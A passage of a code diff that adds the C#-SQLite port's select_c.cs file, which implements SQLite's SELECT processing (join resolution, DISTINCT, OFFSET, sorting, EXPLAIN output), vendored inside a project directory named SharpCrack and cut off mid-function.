b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/select_c.cs @@ -0,0 +1,5174 @@ +#define SQLITE_MAX_EXPR_DEPTH +using System; +using System.Diagnostics; +using System.Text; + +using i16 = System.Int16; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; + +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 15 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This file contains C code routines that are called by the parser + ** to handle SELECT statements in SQLite. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#include "sqliteInt.h" + + + /* + ** Delete all the content of a Select structure but do not deallocate + ** the select structure itself. + */ + static void clearSelect( sqlite3 db, Select p ) + { + sqlite3ExprListDelete( db, ref p.pEList ); + sqlite3SrcListDelete( db, ref p.pSrc ); + sqlite3ExprDelete( db, ref p.pWhere ); + sqlite3ExprListDelete( db, ref p.pGroupBy ); + sqlite3ExprDelete( db, ref p.pHaving ); + sqlite3ExprListDelete( db, ref p.pOrderBy ); + sqlite3SelectDelete( db, ref p.pPrior ); + sqlite3ExprDelete( db, ref p.pLimit ); + sqlite3ExprDelete( db, ref p.pOffset ); + } + + /* + ** Initialize a SelectDest structure. + */ + static void sqlite3SelectDestInit( SelectDest pDest, int eDest, int iParm ) + { + pDest.eDest = (u8)eDest; + pDest.iParm = iParm; + pDest.affinity = '\0'; + pDest.iMem = 0; + pDest.nMem = 0; + } + + + /* + ** Allocate a new Select structure and return a pointer to that + ** structure. + */ + // OVERLOADS, so I don't need to rewrite parse.c + static Select sqlite3SelectNew( Parse pParse, int null_2, SrcList pSrc, int null_4, int null_5, int null_6, int null_7, int isDistinct, int null_9, int null_10 ) + { + return sqlite3SelectNew( pParse, null, pSrc, null, null, null, null, isDistinct, null, null ); + } + static Select sqlite3SelectNew( + Parse pParse, /* Parsing context */ + ExprList pEList, /* which columns to include in the result */ + SrcList pSrc, /* the FROM clause -- which tables to scan */ + Expr pWhere, /* the WHERE clause */ + ExprList pGroupBy, /* the GROUP BY clause */ + Expr pHaving, /* the HAVING clause */ + ExprList pOrderBy, /* the ORDER BY clause */ + int isDistinct, /* true if the DISTINCT keyword is present */ + Expr pLimit, /* LIMIT value. NULL means not used */ + Expr pOffset /* OFFSET value. NULL means no offset */ + ) + { + Select pNew; + // Select standin; + sqlite3 db = pParse.db; + pNew = new Select();//sqlite3DbMallocZero(db, sizeof(*pNew) ); + Debug.Assert( //db.mallocFailed != 0 || + null == pOffset || pLimit != null ); /* OFFSET implies LIMIT */ + //if( pNew==null ){ + // pNew = standin; + // memset(pNew, 0, sizeof(*pNew)); + //} + if ( pEList == null ) + { + pEList = sqlite3ExprListAppend( pParse, null, sqlite3Expr( db, TK_ALL, null ) ); + } + pNew.pEList = pEList; + pNew.pSrc = pSrc; + pNew.pWhere = pWhere; + pNew.pGroupBy = pGroupBy; + pNew.pHaving = pHaving; + pNew.pOrderBy = pOrderBy; + pNew.selFlags = (u16)( isDistinct != 0 ? SF_Distinct : 0 ); + pNew.op = TK_SELECT; + pNew.pLimit = pLimit; + pNew.pOffset = pOffset; + Debug.Assert( pOffset == null || pLimit != null ); + pNew.addrOpenEphm[0] = -1; + pNew.addrOpenEphm[1] = -1; + pNew.addrOpenEphm[2] = -1; + //if ( db.mallocFailed != 0 ) + //{ + // clearSelect( db, pNew ); + // //if ( pNew != standin ) sqlite3DbFree( db, ref pNew ); + // pNew = null; + //} + return pNew; + } + + /* + ** Delete the given Select structure and all of its substructures. + */ + static void sqlite3SelectDelete( sqlite3 db, ref Select p ) + { + if ( p != null ) + { + clearSelect( db, p ); + sqlite3DbFree( db, ref p ); + } + } + + /* + ** Given 1 to 3 identifiers preceeding the JOIN keyword, determine the + ** type of join. Return an integer constant that expresses that type + ** in terms of the following bit values: + ** + ** JT_INNER + ** JT_CROSS + ** JT_OUTER + ** JT_NATURAL + ** JT_LEFT + ** JT_RIGHT + ** + ** A full outer join is the combination of JT_LEFT and JT_RIGHT. + ** + ** If an illegal or unsupported join type is seen, then still return + ** a join type, but put an error in the pParse structure. + */ + + class Keyword + { + public u8 i; /* Beginning of keyword text in zKeyText[] */ + public u8 nChar; /* Length of the keyword in characters */ + public u8 code; /* Join type mask */ + public Keyword( u8 i, u8 nChar, u8 code ) + { + this.i = i; + this.nChar = nChar; + this.code = code; + } + } + + // OVERLOADS, so I don't need to rewrite parse.c + static int sqlite3JoinType( Parse pParse, Token pA, int null_3, int null_4 ) + { + return sqlite3JoinType( pParse, pA, null, null ); + } + static int sqlite3JoinType( Parse pParse, Token pA, Token pB, int null_4 ) + { + return sqlite3JoinType( pParse, pA, pB, null ); + } + static int sqlite3JoinType( Parse pParse, Token pA, Token pB, Token pC ) + { + int jointype = 0; + Token[] apAll = new Token[3]; + Token p; + + /* 0123456789 123456789 123456789 123 */ + string zKeyText = "naturaleftouterightfullinnercross"; + + Keyword[] aKeyword = new Keyword[]{ +/* natural */ new Keyword( 0, 7, JT_NATURAL ), +/* left */ new Keyword( 6, 4, JT_LEFT|JT_OUTER ), +/* outer */ new Keyword( 10, 5, JT_OUTER ), +/* right */ new Keyword( 14, 5, JT_RIGHT|JT_OUTER ), +/* full */ new Keyword( 19, 4, JT_LEFT|JT_RIGHT|JT_OUTER ), +/* inner */ new Keyword( 23, 5, JT_INNER ), +/* cross */ new Keyword( 28, 5, JT_INNER|JT_CROSS ), +}; + int i, j; + apAll[0] = pA; + apAll[1] = pB; + apAll[2] = pC; + for ( i = 0; i < 3 && apAll[i] != null; i++ ) + { + p = apAll[i]; + for ( j = 0; j < ArraySize( aKeyword ); j++ ) + { + if ( p.n == aKeyword[j].nChar + && p.z.StartsWith( zKeyText.Substring( aKeyword[j].i, aKeyword[j].nChar ), StringComparison.InvariantCultureIgnoreCase ) ) + { + jointype |= aKeyword[j].code; + break; + } + } + testcase( j == 0 || j == 1 || j == 2 || j == 3 || j == 4 || j == 5 || j == 6 ); + if ( j >= ArraySize( aKeyword ) ) + { + jointype |= JT_ERROR; + break; + } + } + if ( + ( jointype & ( JT_INNER | JT_OUTER ) ) == ( JT_INNER | JT_OUTER ) || + ( jointype & JT_ERROR ) != 0 + ) + { + string zSp = " "; + Debug.Assert( pB != null ); + if ( pC == null ) + { + zSp = ""; + } + sqlite3ErrorMsg( pParse, "unknown or unsupported join type: " + + "%T %T%s%T", pA, pB, zSp, pC ); + jointype = JT_INNER; + } + else if ( ( jointype & JT_OUTER ) != 0 + && ( jointype & ( JT_LEFT | JT_RIGHT ) ) != JT_LEFT ) + { + sqlite3ErrorMsg( pParse, + "RIGHT and FULL OUTER JOINs are not currently supported" ); + jointype = JT_INNER; + } + return jointype; + } + + /* + ** Return the index of a column in a table. Return -1 if the column + ** is not contained in the table. + */ + static int columnIndex( Table pTab, string zCol ) + { + int i; + for ( i = 0; i < pTab.nCol; i++ ) + { + if ( pTab.aCol[i].zName.Equals( zCol, StringComparison.InvariantCultureIgnoreCase ) ) + return i; + } + return -1; + } + + + /* + ** Search the first N tables in pSrc, from left to right, looking for a + ** table that has a column named zCol. + ** + ** When found, set *piTab and *piCol to the table index and column index + ** of the matching column and return TRUE. + ** + ** If not found, return FALSE. + */ + static int tableAndColumnIndex( + SrcList pSrc, /* Array of tables to search */ + int N, /* Number of tables in pSrc.a[] to search */ + string zCol, /* Name of the column we are looking for */ + ref int piTab, /* Write index of pSrc.a[] here */ + ref int piCol /* Write index of pSrc.a[*piTab].pTab.aCol[] here */ + ) + { + int i; /* For looping over tables in pSrc */ + int iCol; /* Index of column matching zCol */ + + Debug.Assert( ( piTab == 0 ) == ( piCol == 0 ) ); /* Both or neither are NULL */ + for ( i = 0; i < N; i++ ) + { + iCol = columnIndex( pSrc.a[i].pTab, zCol ); + if ( iCol >= 0 ) + { + //if( piTab ) + { + piTab = i; + piCol = iCol; + } + return 1; + } + } + return 0; + } + + /* + ** This function is used to add terms implied by JOIN syntax to the + ** WHERE clause expression of a SELECT statement. The new term, which + ** is ANDed with the existing WHERE clause, is of the form: + ** + ** (vtab1.col1 = tab2.col2) + ** + ** where tab1 is the iSrc'th table in SrcList pSrc and tab2 is the + ** (iSrc+1)'th. Column col1 is column iColLeft of tab1, and col2 is + ** column iColRight of tab2. + */ + static void addWhereTerm( + Parse pParse, /* Parsing context */ + SrcList pSrc, /* List of tables in FROM clause */ + int iLeft, /* Index of first table to join in pSrc */ + int iColLeft, /* Index of column in first table */ + int iRight, /* Index of second table in pSrc */ + int iColRight, /* Index of column in second table */ + int isOuterJoin, /* True if this is an OUTER join */ + ref Expr ppWhere /* IN/OUT: The WHERE clause to add to */ + ) + { + sqlite3 db = pParse.db; + Expr pE1; + Expr pE2; + Expr pEq; + + Debug.Assert( iLeft < iRight ); + Debug.Assert( pSrc.nSrc > iRight ); + Debug.Assert( pSrc.a[iLeft].pTab != null ); + Debug.Assert( pSrc.a[iRight].pTab != null ); + + pE1 = sqlite3CreateColumnExpr( db, pSrc, iLeft, iColLeft ); + pE2 = sqlite3CreateColumnExpr( db, pSrc, iRight, iColRight ); + + pEq = sqlite3PExpr( pParse, TK_EQ, pE1, pE2, 0 ); + if ( pEq != null && isOuterJoin != 0 ) + { + ExprSetProperty( pEq, EP_FromJoin ); + Debug.Assert( !ExprHasAnyProperty( pEq, EP_TokenOnly | EP_Reduced ) ); + ExprSetIrreducible( pEq ); + pEq.iRightJoinTable = (i16)pE2.iTable; + } + ppWhere = sqlite3ExprAnd( db, ppWhere, pEq ); + } + + /* + ** Set the EP_FromJoin property on all terms of the given expression. + ** And set the Expr.iRightJoinTable to iTable for every term in the + ** expression. + ** + ** The EP_FromJoin property is used on terms of an expression to tell + ** the LEFT OUTER JOIN processing logic that this term is part of the + ** join restriction specified in the ON or USING clause and not a part + ** of the more general WHERE clause. These terms are moved over to the + ** WHERE clause during join processing but we need to remember that they + ** originated in the ON or USING clause. + ** + ** The Expr.iRightJoinTable tells the WHERE clause processing that the + ** expression depends on table iRightJoinTable even if that table is not + ** explicitly mentioned in the expression. That information is needed + ** for cases like this: + ** + ** SELECT * FROM t1 LEFT JOIN t2 ON t1.a=t2.b AND t1.x=5 + ** + ** The where clause needs to defer the handling of the t1.x=5 + ** term until after the t2 loop of the join. In that way, a + ** NULL t2 row will be inserted whenever t1.x!=5. If we do not + ** defer the handling of t1.x=5, it will be processed immediately + ** after the t1 loop and rows with t1.x!=5 will never appear in + ** the output, which is incorrect. + */ + static void setJoinExpr( Expr p, int iTable ) + { + while ( p != null ) + { + ExprSetProperty( p, EP_FromJoin ); + Debug.Assert( !ExprHasAnyProperty( p, EP_TokenOnly | EP_Reduced ) ); + ExprSetIrreducible( p ); + p.iRightJoinTable = (i16)iTable; + setJoinExpr( p.pLeft, iTable ); + p = p.pRight; + } + } + + /* + ** This routine processes the join information for a SELECT statement. + ** ON and USING clauses are converted into extra terms of the WHERE clause. + ** NATURAL joins also create extra WHERE clause terms. + ** + ** The terms of a FROM clause are contained in the Select.pSrc structure. + ** The left most table is the first entry in Select.pSrc. The right-most + ** table is the last entry. The join operator is held in the entry to + ** the left. Thus entry 0 contains the join operator for the join between + ** entries 0 and 1. Any ON or USING clauses associated with the join are + ** also attached to the left entry. + ** + ** This routine returns the number of errors encountered. + */ + static int sqliteProcessJoin( Parse pParse, Select p ) + { + SrcList pSrc; /* All tables in the FROM clause */ + int i; + int j; /* Loop counters */ + SrcList_item pLeft; /* Left table being joined */ + SrcList_item pRight; /* Right table being joined */ + + pSrc = p.pSrc; + //pLeft = pSrc.a[0]; + //pRight = pLeft[1]; + for ( i = 0; i < pSrc.nSrc - 1; i++ ) + { + pLeft = pSrc.a[i]; // pLeft ++ + pRight = pSrc.a[i + 1];//Right++, + Table pLeftTab = pLeft.pTab; + Table pRightTab = pRight.pTab; + bool isOuter; + + if ( NEVER( pLeftTab == null || pRightTab == null ) ) + continue; + isOuter = ( pRight.jointype & JT_OUTER ) != 0; + + /* When the NATURAL keyword is present, add WHERE clause terms for + ** every column that the two tables have in common. + */ + if ( ( pRight.jointype & JT_NATURAL ) != 0 ) + { + if ( pRight.pOn != null || pRight.pUsing != null ) + { + sqlite3ErrorMsg( pParse, "a NATURAL join may not have " + + "an ON or USING clause", "" ); + return 1; + } + for ( j = 0; j < pRightTab.nCol; j++ ) + { + string zName; /* Name of column in the right table */ + int iLeft = 0; /* Matching left table */ + int iLeftCol = 0; /* Matching column in the left table */ + + zName = pRightTab.aCol[j].zName; + int iRightCol = columnIndex( pRightTab, zName ); + if ( tableAndColumnIndex( pSrc, i + 1, zName, ref iLeft, ref iLeftCol ) != 0 ) + { + addWhereTerm( pParse, pSrc, iLeft, iLeftCol, i + 1, j, + isOuter ? 1 : 0, ref p.pWhere ); + } + } + } + + /* Disallow both ON and USING clauses in the same join + */ + if ( pRight.pOn != null && pRight.pUsing != null ) + { + sqlite3ErrorMsg( pParse, "cannot have both ON and USING " + + "clauses in the same join" ); + return 1; + } + + /* Add the ON clause to the end of the WHERE clause, connected by + ** an AND operator. + */ + if ( pRight.pOn != null ) + { + if ( isOuter ) + setJoinExpr( pRight.pOn, pRight.iCursor ); + p.pWhere = sqlite3ExprAnd( pParse.db, p.pWhere, pRight.pOn ); + pRight.pOn = null; + } + + /* Create extra terms on the WHERE clause for each column named + ** in the USING clause. Example: If the two tables to be joined are + ** A and B and the USING clause names X, Y, and Z, then add this + ** to the WHERE clause: A.X=B.X AND A.Y=B.Y AND A.Z=B.Z + ** Report an error if any column mentioned in the USING clause is + ** not contained in both tables to be joined. + */ + if ( pRight.pUsing != null ) + { + IdList pList = pRight.pUsing; + for ( j = 0; j < pList.nId; j++ ) + { + string zName; /* Name of the term in the USING clause */ + int iLeft = 0; /* Table on the left with matching column name */ + int iLeftCol = 0; /* Column number of matching column on the left */ + int iRightCol; /* Column number of matching column on the right */ + + zName = pList.a[j].zName; + iRightCol = columnIndex( pRightTab, zName ); + if ( iRightCol < 0 + || 0 == tableAndColumnIndex( pSrc, i + 1, zName, ref iLeft, ref iLeftCol ) + ) + { + sqlite3ErrorMsg( pParse, "cannot join using column %s - column " + + "not present in both tables", zName ); + return 1; + } + addWhereTerm( pParse, pSrc, iLeft, iLeftCol, i + 1, iRightCol, + isOuter ? 1 : 0, ref p.pWhere ); + } + } + } + return 0; + } + + /* + ** Insert code into "v" that will push the record on the top of the + ** stack into the sorter. + */ + static void pushOntoSorter( + Parse pParse, /* Parser context */ + ExprList pOrderBy, /* The ORDER BY clause */ + Select pSelect, /* The whole SELECT statement */ + int regData /* Register holding data to be sorted */ + ) + { + Vdbe v = pParse.pVdbe; + int nExpr = pOrderBy.nExpr; + int regBase = sqlite3GetTempRange( pParse, nExpr + 2 ); + int regRecord = sqlite3GetTempReg( pParse ); + sqlite3ExprCacheClear( pParse ); + sqlite3ExprCodeExprList( pParse, pOrderBy, regBase, false ); + sqlite3VdbeAddOp2( v, OP_Sequence, pOrderBy.iECursor, regBase + nExpr ); + sqlite3ExprCodeMove( pParse, regData, regBase + nExpr + 1, 1 ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regBase, nExpr + 2, regRecord ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, pOrderBy.iECursor, regRecord ); + sqlite3ReleaseTempReg( pParse, regRecord ); + sqlite3ReleaseTempRange( pParse, regBase, nExpr + 2 ); + if ( pSelect.iLimit != 0 ) + { + int addr1, addr2; + int iLimit; + if ( pSelect.iOffset != 0 ) + { + iLimit = pSelect.iOffset + 1; + } + else + { + iLimit = pSelect.iLimit; + } + addr1 = sqlite3VdbeAddOp1( v, OP_IfZero, iLimit ); + sqlite3VdbeAddOp2( v, OP_AddImm, iLimit, -1 ); + addr2 = sqlite3VdbeAddOp0( v, OP_Goto ); + sqlite3VdbeJumpHere( v, addr1 ); + sqlite3VdbeAddOp1( v, OP_Last, pOrderBy.iECursor ); + sqlite3VdbeAddOp1( v, OP_Delete, pOrderBy.iECursor ); + sqlite3VdbeJumpHere( v, addr2 ); + } + } + + /* + ** Add code to implement the OFFSET + */ + static void codeOffset( + Vdbe v, /* Generate code into this VM */ + Select p, /* The SELECT statement being coded */ + int iContinue /* Jump here to skip the current record */ + ) + { + if ( p.iOffset != 0 && iContinue != 0 ) + { + int addr; + sqlite3VdbeAddOp2( v, OP_AddImm, p.iOffset, -1 ); + addr = sqlite3VdbeAddOp1( v, OP_IfNeg, p.iOffset ); + sqlite3VdbeAddOp2( v, OP_Goto, 0, iContinue ); +#if SQLITE_DEBUG + VdbeComment( v, "skip OFFSET records" ); +#endif + sqlite3VdbeJumpHere( v, addr ); + } + } + + /* + ** Add code that will check to make sure the N registers starting at iMem + ** form a distinct entry. iTab is a sorting index that holds previously + ** seen combinations of the N values. A new entry is made in iTab + ** if the current N values are new. + ** + ** A jump to addrRepeat is made and the N+1 values are popped from the + ** stack if the top N elements are not distinct. + */ + static void codeDistinct( + Parse pParse, /* Parsing and code generating context */ + int iTab, /* A sorting index used to test for distinctness */ + int addrRepeat, /* Jump to here if not distinct */ + int N, /* Number of elements */ + int iMem /* First element */ + ) + { + Vdbe v; + int r1; + + v = pParse.pVdbe; + r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp4Int( v, OP_Found, iTab, addrRepeat, iMem, N ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, iMem, N, r1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iTab, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + +#if !SQLITE_OMIT_SUBQUERY + /* +** Generate an error message when a SELECT is used within a subexpression +** (example: "a IN (SELECT * FROM table)") but it has more than 1 result +** column. We do this in a subroutine because the error used to occur +** in multiple places. (The error only occurs in one place now, but we +** retain the subroutine to minimize code disruption.) +*/ + static bool checkForMultiColumnSelectError( + Parse pParse, /* Parse context. */ + SelectDest pDest, /* Destination of SELECT results */ + int nExpr /* Number of result columns returned by SELECT */ + ) + { + int eDest = pDest.eDest; + if ( nExpr > 1 && ( eDest == SRT_Mem || eDest == SRT_Set ) ) + { + sqlite3ErrorMsg( pParse, "only a single result allowed for " + + "a SELECT that is part of an expression" ); + return true; + } + else + { + return false; + } + } +#endif + + /* +** This routine generates the code for the inside of the inner loop +** of a SELECT. +** +** If srcTab and nColumn are both zero, then the pEList expressions +** are evaluated in order to get the data for this row. If nColumn>0 +** then data is pulled from srcTab and pEList is used only to get the +** datatypes for each column. +*/ + static void selectInnerLoop( + Parse pParse, /* The parser context */ + Select p, /* The complete select statement being coded */ + ExprList pEList, /* List of values being extracted */ + int srcTab, /* Pull data from this table */ + int nColumn, /* Number of columns in the source table */ + ExprList pOrderBy, /* If not NULL, sort results using this key */ + int distinct, /* If >=0, make sure results are distinct */ + SelectDest pDest, /* How to dispose of the results */ + int iContinue, /* Jump here to continue with next row */ + int iBreak /* Jump here to break out of the inner loop */ + ) + { + Vdbe v = pParse.pVdbe; + int i; + bool hasDistinct; /* True if the DISTINCT keyword is present */ + int regResult; /* Start of memory holding result set */ + int eDest = pDest.eDest; /* How to dispose of results */ + int iParm = pDest.iParm; /* First argument to disposal method */ + int nResultCol; /* Number of result columns */ + + Debug.Assert( v != null ); + if ( NEVER( v == null ) ) + return; + Debug.Assert( pEList != null ); + hasDistinct = distinct >= 0; + if ( pOrderBy == null && !hasDistinct ) + { + codeOffset( v, p, iContinue ); + } + + /* Pull the requested columns. + */ + if ( nColumn > 0 ) + { + nResultCol = nColumn; + } + else + { + nResultCol = pEList.nExpr; + } + if ( pDest.iMem == 0 ) + { + pDest.iMem = pParse.nMem + 1; + pDest.nMem = nResultCol; + pParse.nMem += nResultCol; + } + else + { + Debug.Assert( pDest.nMem == nResultCol ); + } + regResult = pDest.iMem; + if ( nColumn > 0 ) + { + for ( i = 0; i < nColumn; i++ ) + { + sqlite3VdbeAddOp3( v, OP_Column, srcTab, i, regResult + i ); + } + } + else if ( eDest != SRT_Exists ) + { + /* If the destination is an EXISTS(...) expression, the actual + ** values returned by the SELECT are not required. + */ + sqlite3ExprCacheClear( pParse ); + sqlite3ExprCodeExprList( pParse, pEList, regResult, eDest == SRT_Output ); + } + nColumn = nResultCol; + + /* If the DISTINCT keyword was present on the SELECT statement + ** and this row has been seen before, then do not make this row + ** part of the result. + */ + if ( hasDistinct ) + { + Debug.Assert( pEList != null ); + Debug.Assert( pEList.nExpr == nColumn ); + codeDistinct( pParse, distinct, iContinue, nColumn, regResult ); + if ( pOrderBy == null ) + { + codeOffset( v, p, iContinue ); + } + } + + switch ( eDest ) + { + /* In this mode, write each query result to the key of the temporary + ** table iParm. + */ +#if !SQLITE_OMIT_COMPOUND_SELECT + case SRT_Union: + { + int r1; + r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + + /* Construct a record from the query result, but instead of + ** saving that record, use it as a key to delete elements from + ** the temporary table iParm. + */ + case SRT_Except: + { + sqlite3VdbeAddOp3( v, OP_IdxDelete, iParm, regResult, nColumn ); + break; + } +#endif + + /* Store the result as data using a unique key. +*/ + case SRT_Table: + case SRT_EphemTab: + { + int r1 = sqlite3GetTempReg( pParse ); + testcase( eDest == SRT_Table ); + testcase( eDest == SRT_EphemTab ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); + if ( pOrderBy != null ) + { + pushOntoSorter( pParse, pOrderBy, p, r1 ); + } + else + { + int r2 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp2( v, OP_NewRowid, iParm, r2 ); + sqlite3VdbeAddOp3( v, OP_Insert, iParm, r1, r2 ); + sqlite3VdbeChangeP5( v, OPFLAG_APPEND ); + sqlite3ReleaseTempReg( pParse, r2 ); + } + sqlite3ReleaseTempReg( pParse, r1 ); + break; + } + +#if !SQLITE_OMIT_SUBQUERY + /* If we are creating a set for an "expr IN (SELECT ...)" construct, +** then there should be a single item on the stack. Write this +** item into the set table with bogus data. +*/ + case SRT_Set: + { + Debug.Assert( nColumn == 1 ); + p.affinity = sqlite3CompareAffinity( pEList.a[0].pExpr, pDest.affinity ); + if ( pOrderBy != null ) + { + /* At first glance you would think we could optimize out the + ** ORDER BY in this case since the order of entries in the set + ** does not matter. But there might be a LIMIT clause, in which + ** case the order does matter */ + pushOntoSorter( pParse, pOrderBy, p, regResult ); + } + else + { + int r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp4( v, OP_MakeRecord, regResult, 1, r1, p.affinity, 1 ); + sqlite3ExprCacheAffinityChange( pParse, regResult, 1 ); + sqlite3VdbeAddOp2( v, OP_IdxInsert, iParm, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + break; + } + + /* If any row exist in the result set, record that fact and abort. + */ + case SRT_Exists: + { + sqlite3VdbeAddOp2( v, OP_Integer, 1, iParm ); + /* The LIMIT clause will terminate the loop for us */ + break; + } + + /* If this is a scalar select that is part of an expression, then + ** store the results in the appropriate memory cell and break out + ** of the scan loop. + */ + case SRT_Mem: + { + Debug.Assert( nColumn == 1 ); + if ( pOrderBy != null ) + { + pushOntoSorter( pParse, pOrderBy, p, regResult ); + } + else + { + sqlite3ExprCodeMove( pParse, regResult, iParm, 1 ); + /* The LIMIT clause will jump out of the loop for us */ + } + break; + } +#endif // * #if !SQLITE_OMIT_SUBQUERY */ + + /* Send the data to the callback function or to a subroutine. In the +** case of a subroutine, the subroutine itself is responsible for +** popping the data from the stack. +*/ + case SRT_Coroutine: + case SRT_Output: + { + testcase( eDest == SRT_Coroutine ); + testcase( eDest == SRT_Output ); + if ( pOrderBy != null ) + { + int r1 = sqlite3GetTempReg( pParse ); + sqlite3VdbeAddOp3( v, OP_MakeRecord, regResult, nColumn, r1 ); + pushOntoSorter( pParse, pOrderBy, p, r1 ); + sqlite3ReleaseTempReg( pParse, r1 ); + } + else if ( eDest == SRT_Coroutine ) + { + sqlite3VdbeAddOp1( v, OP_Yield, pDest.iParm ); + } + else + { + sqlite3VdbeAddOp2( v, OP_ResultRow, regResult, nColumn ); + sqlite3ExprCacheAffinityChange( pParse, regResult, nColumn ); + } + break; + } + +#if !SQLITE_OMIT_TRIGGER + /* Discard the results. This is used for SELECT statements inside +** the body of a TRIGGER. The purpose of such selects is to call +** user-defined functions that have side effects. We do not care +** about the actual results of the select. +*/ + default: + { + Debug.Assert( eDest == SRT_Discard ); + break; + } +#endif + } + + /* Jump to the end of the loop if the LIMIT is reached. Except, if + ** there is a sorter, in which case the sorter has already limited + ** the output for us. + */ + if ( pOrderBy == null && p.iLimit != 0 ) + { + sqlite3VdbeAddOp3( v, OP_IfZero, p.iLimit, iBreak, -1 ); + } + } + + /* + ** Given an expression list, generate a KeyInfo structure that records + ** the collating sequence for each expression in that expression list. + ** + ** If the ExprList is an ORDER BY or GROUP BY clause then the resulting + ** KeyInfo structure is appropriate for initializing a virtual index to + ** implement that clause. If the ExprList is the result set of a SELECT + ** then the KeyInfo structure is appropriate for initializing a virtual + ** index to implement a DISTINCT test. + ** + ** Space to hold the KeyInfo structure is obtain from malloc. The calling + ** function is responsible for seeing that this structure is eventually + ** freed. Add the KeyInfo structure to the P4 field of an opcode using + ** P4_KEYINFO_HANDOFF is the usual way of dealing with this. + */ + static KeyInfo keyInfoFromExprList( Parse pParse, ExprList pList ) + { + sqlite3 db = pParse.db; + int nExpr; + KeyInfo pInfo; + ExprList_item pItem; + int i; + + nExpr = pList.nExpr; + pInfo = new KeyInfo();//sqlite3DbMallocZero(db, sizeof(*pInfo) + nExpr*(CollSeq*.Length+1) ); + if ( pInfo != null ) + { + pInfo.aSortOrder = new byte[nExpr];// pInfo.aColl[nExpr]; + pInfo.aColl = new CollSeq[nExpr]; + pInfo.nField = (u16)nExpr; + pInfo.enc = db.aDbStatic[0].pSchema.enc;// ENC(db); + pInfo.db = db; + for ( i = 0; i < nExpr; i++ ) + {//, pItem++){ + pItem = pList.a[i]; + CollSeq pColl; + pColl = sqlite3ExprCollSeq( pParse, pItem.pExpr ); + if ( pColl == null ) + { + pColl = db.pDfltColl; + } + pInfo.aColl[i] = pColl; + pInfo.aSortOrder[i] = (byte)pItem.sortOrder; + } + } + return pInfo; + } + +#if !SQLITE_OMIT_COMPOUND_SELECT + /* +** Name of the connection operator, used for error messages. +*/ + static string selectOpName( int id ) + { + string z; + switch ( id ) + { + case TK_ALL: + z = "UNION ALL"; + break; + case TK_INTERSECT: + z = "INTERSECT"; + break; + case TK_EXCEPT: + z = "EXCEPT"; + break; + default: + z = "UNION"; + break; + } + return z; + } +#endif //* SQLITE_OMIT_COMPOUND_SELECT */ + +#if !SQLITE_OMIT_EXPLAIN + /* +** Unless an "EXPLAIN QUERY PLAN" command is being processed, this function +** is a no-op. Otherwise, it adds a single row of output to the EQP result, +** where the caption is of the form: +** +** "USE TEMP B-TREE FOR xxx" +** +** where xxx is one of "DISTINCT", "ORDER BY" or "GROUP BY". Exactly which +** is determined by the zUsage argument. +*/ + static void explainTempTable( Parse pParse, string zUsage ) + { + if ( pParse.explain == 2 ) + { + Vdbe v = pParse.pVdbe; + string zMsg = sqlite3MPrintf( pParse.db, "USE TEMP B-TREE FOR %s", zUsage ); + sqlite3VdbeAddOp4( v, OP_Explain, pParse.iSelectId, 0, 0, zMsg, P4_DYNAMIC ); + } + } + +/* +** Assign expression b to lvalue a. A second, no-op, version of this macro +** is provided when SQLITE_OMIT_EXPLAIN is defined. This allows the code +** in sqlite3Select() to assign values to structure member variables that +** only exist if SQLITE_OMIT_EXPLAIN is not defined without polluting the +** code with #if !directives. +*/ +//# define explainSetInteger(a, b) a = b + static void explainSetInteger( ref int a, int b ) + { + a = b; + } + static void explainSetInteger( ref byte a, int b ) +{ + a = (byte)b; +} +#else +/* No-op versions of the explainXXX() functions and macros. */ +//# define explainTempTable(y,z) +static void explainTempTable(ref int a, int b){ a = b;} + +//# define explainSetInteger(y,z) +static void explainSetInteger(ref int a, int b){ a = b;} +#endif + +#if !(SQLITE_OMIT_EXPLAIN) && !(SQLITE_OMIT_COMPOUND_SELECT) +/* + ** Unless an "EXPLAIN QUERY PLAN" command is being processed, this function + ** is a no-op. Otherwise, it adds a single row of output to the EQP result, + ** where the caption is of one of the two forms: + ** + ** "COMPOSITE SUBQUERIES iSub1 and iSub2 (op)" + ** "COMPOSITE SUBQUERIES iSub1 and iSub2 USING TEMP B-TREE (op)" + ** + ** where iSub1 and iSub2 are the integers passed as the corresponding + ** function parameters, and op is the text representation of the parameter + ** of the same name. The parameter "op" must be one of TK_UNION, TK_EXCEPT, + ** TK_INTERSECT or TK_ALL. The first form is used if argument bUseTmp is + ** false, or the second form if it is true. + */ + static void explainComposite( + Parse pParse, /* Parse context */ + int op, /* One of TK_UNION, TK_EXCEPT etc. */ + int iSub1, /* Subquery id 1 */ + int iSub2, /* Subquery id 2 */ + bool bUseTmp /* True if a temp table was used */ + ) + { + Debug.Assert( op == TK_UNION || op == TK_EXCEPT || op == TK_INTERSECT || op == TK_ALL ); + if ( pParse.explain == 2 ) + { + Vdbe v = pParse.pVdbe; + string zMsg = sqlite3MPrintf( + pParse.db, "COMPOUND SUBQUERIES %d AND %d %s(%s)", iSub1, iSub2, + bUseTmp ? "USING TEMP B-TREE " : "", selectOpName( op ) + 